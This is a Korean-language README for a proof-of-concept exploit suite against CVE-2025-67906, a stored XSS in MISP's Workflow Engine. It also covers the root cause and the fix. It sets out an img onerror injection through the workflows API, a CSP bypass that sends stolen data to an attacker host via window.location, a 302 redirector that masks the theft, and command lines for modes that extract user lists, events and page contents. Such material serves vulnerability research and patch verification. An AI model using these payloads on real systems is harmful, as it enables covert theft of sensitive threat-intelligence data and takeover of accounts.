
MISP <= 2.5.27 - 저장형 크로스 사이트 스크립팅 (Workflow Engine을 통한 doT.js 템플릿 인젝션)
CVE-2025-67906 (GCVE-1-2025-0031)은 MISP(악성 정보 공유 플랫폼) 버전 2.5.27 이하에서 발생하는 저장형 XSS(Cross-Site Scripting) 취약점입니다.
이 취약점은 app/View/Elements/Workflows/executionPath.ctp의 Workflow 실행 경로 보기 구성 요소에 존재합니다. Workflow 트리거의 name 필드는 서버 측 살균 처리 없이 데이터베이스에 저장되며, 이후 doT.js 템플릿 엔진을 통해 HTML 이스케이프 없이 DOM에 렌더링됩니다. 인증된 공격자는 손상된 Workflow를 보는 모든 사용자의 브라우저 세션에서 실행되는 임의의 HTML/JavaScript를 주입할 수 있습니다.
페이로드가 데이터베이스에 저장되고 모든 페이지 로드 시 렌더링되므로 XSS는 **지속적(persistent)**입니다. 페이지 새로고침에도 유지되며, 여러 사용자에게 영향을 미치고, 명시적으로 삭제될 때까지 지속됩니다.
발견: 이 취약점은 Franck FERMAN이 식별하고 책임감 있게 공개했습니다.
이 취약점에 대해 여러 CVSS 평가가 존재합니다.
점수 차이는 영향 깊이에 대한 평가 차이를 반영합니다. NIST NVD 점수(9.0)는 XSS 페이로드가 피해자의 세션 권한으로 실행되어 관리자 수준의 데이터 유출 및 Workflow 조작이 가능하다는 점을 고려하여 전체 기밀성, 무결성, 가용성 영향을 반영합니다. CNA 점수(5.4)는 일반적인 XSS에 대해 제한된 C/I 영향만 고려합니다. GCVE CVSS 4.0 점수(7.1)는 공격 요구 사항(권한) 및 능동적 사용자 상호 작용 수정자를 도입합니다.
범위는 모든 평가에서 **변경됨(Changed)**으로 표시됩니다. 공격자의 페이로드는 MISP API를 통해 주입되므로 다른 보안 컨텍스트(피해자의 브라우저 세션)에서 실행됩니다.
MISP의 Workflow Engine은 인증된 사용자가 REST API를 통해 Workflow를 생성 및 편집할 수 있도록 합니다. Workflow 데이터 모델에는 name 필드가 있는 trigger 구성 요소가 포함됩니다. 이 필드는:
doT.js는 빠른 JavaScript 템플릿 엔진입니다. 기본적으로 HTML을 이스케이프하지 않는 {{= }}를 보간(interpolation)에 사용합니다. MISP Workflow Editor는 doT.js를 사용하여 트리거 메타데이터( name 필드 포함)를 DOM에 렌더링합니다. name 필드에 ``와 같은 HTML이 포함되면 템플릿 엔진이 원시 HTML로 삽입하고 브라우저는 포함된 JavaScript를 실행합니다.
수정 방법은 다음과 같습니다.
{{! }}로 전환POST /workflows/edit/{id}
{
"Workflow": {
"id": "1",
"data": "{\"1\":{\"data\":{\"name\":\"\"}}}"
}
}
data JSON 필드 내부의 name 값이 인젝션 포인트입니다. 전체 Workflow 그래프는 요청 본문 내에서 JSON 문자열로 직렬화됩니다.
이 취약점은 클라이언트 측 템플릿 엔진(doT.js)을 사용하여 시각적 Workflow 편집기를 렌더링하는 아키텍처 선택에 의해 증폭됩니다. Workflow Editor는 그래픽 드래그 앤 드롭 인터페이스로, 각 트리거/작업이 시각적 블록으로 표시됩니다. 트리거 name 필드는 이러한 그래픽 블록 내에서 레이블로 렌더링됩니다.
doT.js는 템플릿에서 HTML 문자열을 생성하고 DOM에 삽입하여 시각적 구성 요소를 만듭니다. {{= }} 보간 구문은 이스케이프되지 않은 출력을 생성합니다. 템플릿으로 보간된 모든 데이터는 텍스트가 아닌 마크업으로 처리됩니다. 동일한 name 필드가 element.textContent(입력을 일반 텍스트로 처리) 또는 doT.js 자체의 {{! }} 인코딩된 출력 구문을 통해 렌더링된다면 입력 내용에 관계없이 XSS가 불가능했을 것입니다.
공격 표면은 다음 이유로 존재합니다.
{{= }})을 사용합니다.name 필드에 저장된 모든 문자열이 브라우저에서 HTML로 해석됩니다.이는 클라이언트 측 템플릿 엔진을 사용하여 대화형 시각적 인터페이스를 구축하는 웹 애플리케이션에서 흔히 나타나는 취약점 패턴입니다. 풍부한 렌더링이 필요하면 템플릿과 데이터 소스 간에 암시적 신뢰 관계가 생성되고, 템플릿에 도달하는 살균되지 않은 사용자 입력은 실행 가능한 코드가 됩니다.
<script> 대신)템플릿 보간을 통해 주입된 원시 <script> 태그는 일반적으로 이 컨텍스트에서 실행되지 않습니다. 브라우저는 초기 페이지 구문 분석 후 innerHTML 또는 이와 동등한 방법으로 DOM에 삽입된 <script> 요소를 실행하지 않습니다. onerror, onload 또는 onmouseover와 같은 이벤트 핸들러 속성은 HTML 요소에 포함될 때 이 제한을 우회합니다. 왜냐하면 요소가 삽입된 방식과 관계없이 브라우저가 요소의 속성을 처리할 때 인라인 JavaScript가 실행되기 때문입니다.
<img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="..."> 벡터가 선호되는 이유는 다음과 같습니다.
src="x"는 즉시 로드 실패를 보장하여 사용자 상호 작용 없이 onerror를 트리거합니다.<script> 태그를 차단하는 CSP script-src 제한을 우회합니다. 실행이 비스크립트 요소의 이벤트 핸들러를 통해 발생하기 때문입니다.MISP 인스턴스는 일반적으로 connect-src를 제한하는 CSP 헤더를 배포하여 외부 출처로의 fetch() 및 XMLHttpRequest 호출을 차단합니다. 이 PoC의 유출 페이로드는 API 호출 대신 window.location(탐색)을 사용하여 CSP를 우회합니다.
// CSP connect-src에 의해 차단됨:
fetch('http://attacker/exfil?data=' + stolen_data); // CSP 위반
// 차단되지 않음 - 탐색은 CSP의 적용을 받지 않음:
window.location = 'http://attacker/exfil?data=' + stolen_data; // 작동함
CSP에는 페이지가 탐색할 수 있는 대상을 제어하는 지시문이 없습니다. navigate-to 지시문은 CSP Level 3에서 제안되었지만 어떤 브라우저에도 구현되지 않았으며 효과적으로 폐기되었습니다. 이로 인해 window.location은 CSP 정책과 관계없이 모든 XSS 컨텍스트에서 데이터 유출에 신뢰할 수 있는 CSP 우회 방법이 됩니다.
단점은 탐색이 피해자에게 표시된다는 점입니다(페이지가 변경됨). server/redirector.py는 즉시 HTTP 302 리디렉션을 MISP 인스턴스로 다시 발행하여 짧은 깜박임만 생성하도록 완화합니다. 피해자의 관점에서 페이지가 새로고침된 것처럼 보입니다.
유출 데이터 흐름:
피해자 브라우저 공격자 (redirector.py) MISP
| | |
|-- GET /exfil?data=<유출> ------>| |
| | [데이터 캡처, 출력] |
|<-- 302 Location: misp.url ------| |
| | |
|-- GET /workflows/view/1 ----------------------------------------->|
|<-- 정상 MISP 페이지 ----------------------------------------------|
전체 라운드 트립은 약 100~200ms가 소요됩니다. 피해자는 기껏해야 페이지 깜박임을 봅니다.
보안 평가에서 XSS 취약점이 제한된 실질적 영향만 갖는다는 것은 흔한 오해입니다("단지 경고 상자일 뿐"). 실제 레드 팀 작업에서 저장형 XSS, 특히 이와 같은 클릭 없는 지속형 XSS는 공격자가 피해자의 클릭이 필요 없기 때문에 가치가 높습니다. 페이로드는 페이지가 렌더링될 때 자동으로 실행됩니다.
저장형 XSS가 실제로 가능하게 하는 것:
HttpOnly로 표시되지 않은 경우 공격자가 관리자 세션 쿠키를 도용하여 계정을 탈취합니다. HttpOnly가 있더라도 DOM 또는 API 응답에 노출된 세션 토큰을 추출할 수 있습니다.document.body.innerHTML 또는 대상 DOM 쿼리를 통해 모두 읽을 수 있습니다.CSP가 connect-src, script-src를 통해 아웃바운드 요청을 제한하는 경우 유출 벡터는 이 PoC에서 window.location 탐색 우회를 통해 입증된 것처럼 적응합니다. CSP는 기준을 높이지만 위험을 제거하지는 않습니다. HttpOnly가 쿠키 도용을 방지하면 공격자는 인증된 세션에서 직접 볼 수 있는 데이터의 DOM 기반 유출로 전환합니다.
침투 테스트/레드 팀 컨텍스트에서 MISP와 같은 플랫폼(위협 인텔리전스, IOCs, 조직 데이터를 집계)에서의 저장형 XSS는 특히 중요합니다. 관리자 세션을 통해 액세스할 수 있는 데이터 자체가 고감도 데이터(침해 지표, 내부 조사 세부 정보, 공유 그룹 구성원, 조직 간 신뢰 관계)이기 때문입니다.
1. 공격자가 MISP에 인증 (Workflow 생성 권한이 있는 모든 역할)
|
2. POST /workflows/add -> 새 Workflow 생성, workflow_id + trigger_id 수신
|
3. POST /workflows/edit/{id} -> HTML/JS 페이로드를 트리거 "name" 필드에 주입
| 페이로드: <img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="[자바스크립트]">
|
4. 페이로드가 MISP 데이터베이스에 저장됨
|
5. 피해자 (인증된 모든 사용자)가 /workflows/view/{id} 방문
|
6. doT.js가 트리거 이름을 원시 HTML로 렌더링 -> 브라우저가 JavaScript 실행
|
7. 페이로드 모드에 따른 영향:
- alert() 실행 확인
- Session hijack 세션 쿠키 탈취
- Data exfil 관리자 페이지에서 사용자, 이벤트, API 키 추출
- Credential theft 가짜 로그인 양식 주입
| 소프트웨어 | 영향받는 버전 | 수정 버전 |
|---|---|---|
| MISP | <= 2.5.27 | 2.5.28 |
수정 사항은 MISP v2.5.28에 포함되어 있습니다. 관련 패치 커밋: 1f39deb.
poc_alert_cve_2025_67906.py # 간단한 PoC - alert() 확인 (~200줄)
poc_exfiltrate_cve_2025_67906.py # 간단한 PoC - 데이터 유출 데모 (~150줄)
cve_2025_67906.py # 전체 익스플로잇 스위트 - 7가지 모드, 사용자 정의 페이로드
server/
redirector.py # 투명 302 리디렉션이 있는 유출 리스너
poc_alert_cve_2025_67906.py: 최소, 가독성. alert()를 삽입하여 XSS를 확인합니다. 먼저 읽어보십시오.poc_exfiltrate_cve_2025_67906.py: 최소 유출 데모. 피해자 이메일/URL을 캡처하여 공격자 서버로 전송합니다.cve_2025_67906.py: 7가지 페이로드 모드, 사용자 정의 페이로드 지원, 자동 모드를 갖춘 전체 익스플로잇 스위트입니다.server/redirector.py: 유출된 데이터를 캡처하고 피해자를 MISP로 투명하게 리디렉션하는 HTTP 서버입니다.Python 3 (표준 라이브러리만, 외부 의존성 없음).
git clone https://github.com/franckferman/CVE-2025-67906.git
cd CVE-2025-67906
무해한 alert()로 취약점이 존재하는지 확인합니다:
python3 poc_alert_cve_2025_67906.py https://misp.target.org YOUR_API_KEY
스크립트가 출력한 URL을 방문하십시오. 경고 상자가 나타나 XSS 실행을 확인합니다.
# 터미널 1: 유출 리스너 시작
python3 server/redirector.py https://misp.target.org --port 8000
# 터미널 2: 페이로드 삽입
python3 poc_exfiltrate_cve_2025_67906.py https://misp.target.org YOUR_API_KEY --attacker YOUR_IP:8000
피해자가 Workflow URL을 방문하면 리스너가 이메일, 사용자 이름 및 페이지 URL을 캡처합니다.
# Alert 모드 (기본값)
python3 cve_2025_67906.py https://misp.target.org API_KEY
# 관리자 페이지에서 사용자 목록 추출
python3 cve_2025_67906.py https://misp.target.org API_KEY \
--mode exfiltrate_users --attacker YOUR_IP:8000
# 이벤트 목록 추출
python3 cve_2025_67906.py https://misp.target.org API_KEY \
--mode exfiltrate_events --attacker YOUR_IP:8000 --limit 50
# 사용자 정의 페이로드
python3 cve_2025_67906.py https://misp.target.org API_KEY \
--payload ''
# 자동 모드 (최소 출력)
python3 cve_2025_67906.py https://misp.target.org API_KEY --mode alert --quiet
{{= }}(원시)에서 {{! }}(HTML 인코딩)로 전환name 필드의 서버 측 살균 처리(HTML 태그 제거, 엔터티 인코딩)이 도구는 승인된 보안 감사, 학술 연구 및 교육 목적으로만 제공됩니다. 시스템 소유자의 명시적인 서면 허가 없이 시스템에 사용하는 것은 불법입니다. 저자는 승인되지 않거나 악의적인 사용에 대해 어떠한 책임도 지지 않습니다.
| 출처 | 점수 | 심각도 | 벡터 |
|---|
| NIST NVD | 9.0 | 치명적 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H |
| GCVE (CIRCL) | 7.1 | 높음 | CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H |
| CNA (MITRE) | 5.4 | 중간 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
| 모드 | 영향 | 필요 조건 |
|---|
alert | XSS 실행 확인 | 모든 사용자가 Workflow 보기 |
alert_info | 피해자의 이메일과 URL 표시 | 모든 사용자가 Workflow 보기 |
console_info | 사용자 이메일, 역할, URL을 DevTools에 로그 | 모든 사용자가 Workflow 보기 |
exfiltrate_users | /admin/users/index에서 사용자 목록 추출 (ID, 조직, 역할, 이메일) | 관리자가 Workflow 보기 + 공격자 리스너 |
exfiltrate_page | 현재 페이지 내용과 사용자 신원 캡처 | 모든 사용자가 Workflow 보기 + 공격자 리스너 |
exfiltrate_events | 이벤트 목록 추출 (ID, 조직, 날짜, TLP, 정보) | 모든 사용자가 Workflow 보기 + 공격자 리스너 |
| ID | 전술 | 기술 | 관련성 |
|---|
| T1059.007 | 실행 | JavaScript | XSS 페이로드가 피해자 브라우저에서 JavaScript 실행 |
| T1189 | 초기 접근 | 드라이브 바이 타협 | 저장된 페이로드가 페이지 방문 시 트리거 |
| T1557 | 수집 | 브라우저 내 적대자 | 페이로드가 피해자의 인증된 세션 내에서 작동 |
| T1539 | 자격 증명 접근 | 웹 세션 쿠키 탈취 | HttpOnly 설정이 없으면 세션 쿠키 접근 가능 |
| T1005 | 수집 | 로컬 시스템 데이터 | 사용자 목록, 이벤트 및 페이지 콘텐츠 유출 |
| 모드 | 설명 |
|---|
alert | 간단한 경고 상자 (기본값, 데모에 안전) |
alert_info | 피해자 URL, 이메일, 사용자 에이전트가 포함된 경고 상자 |
console | Console.log 확인 |
console_info | 사용자 이메일, 역할, URL을 DevTools 콘솔에 기록 |
exfiltrate_users | /admin/users/index에서 사용자 목록 추출 (관리자 피해자 필요) |
exfiltrate_page | 현재 페이지 내용과 사용자 신원 캡처 |
exfiltrate_events | ID, 조직, 날짜, TLP, 정보가 포함된 이벤트 목록 추출 |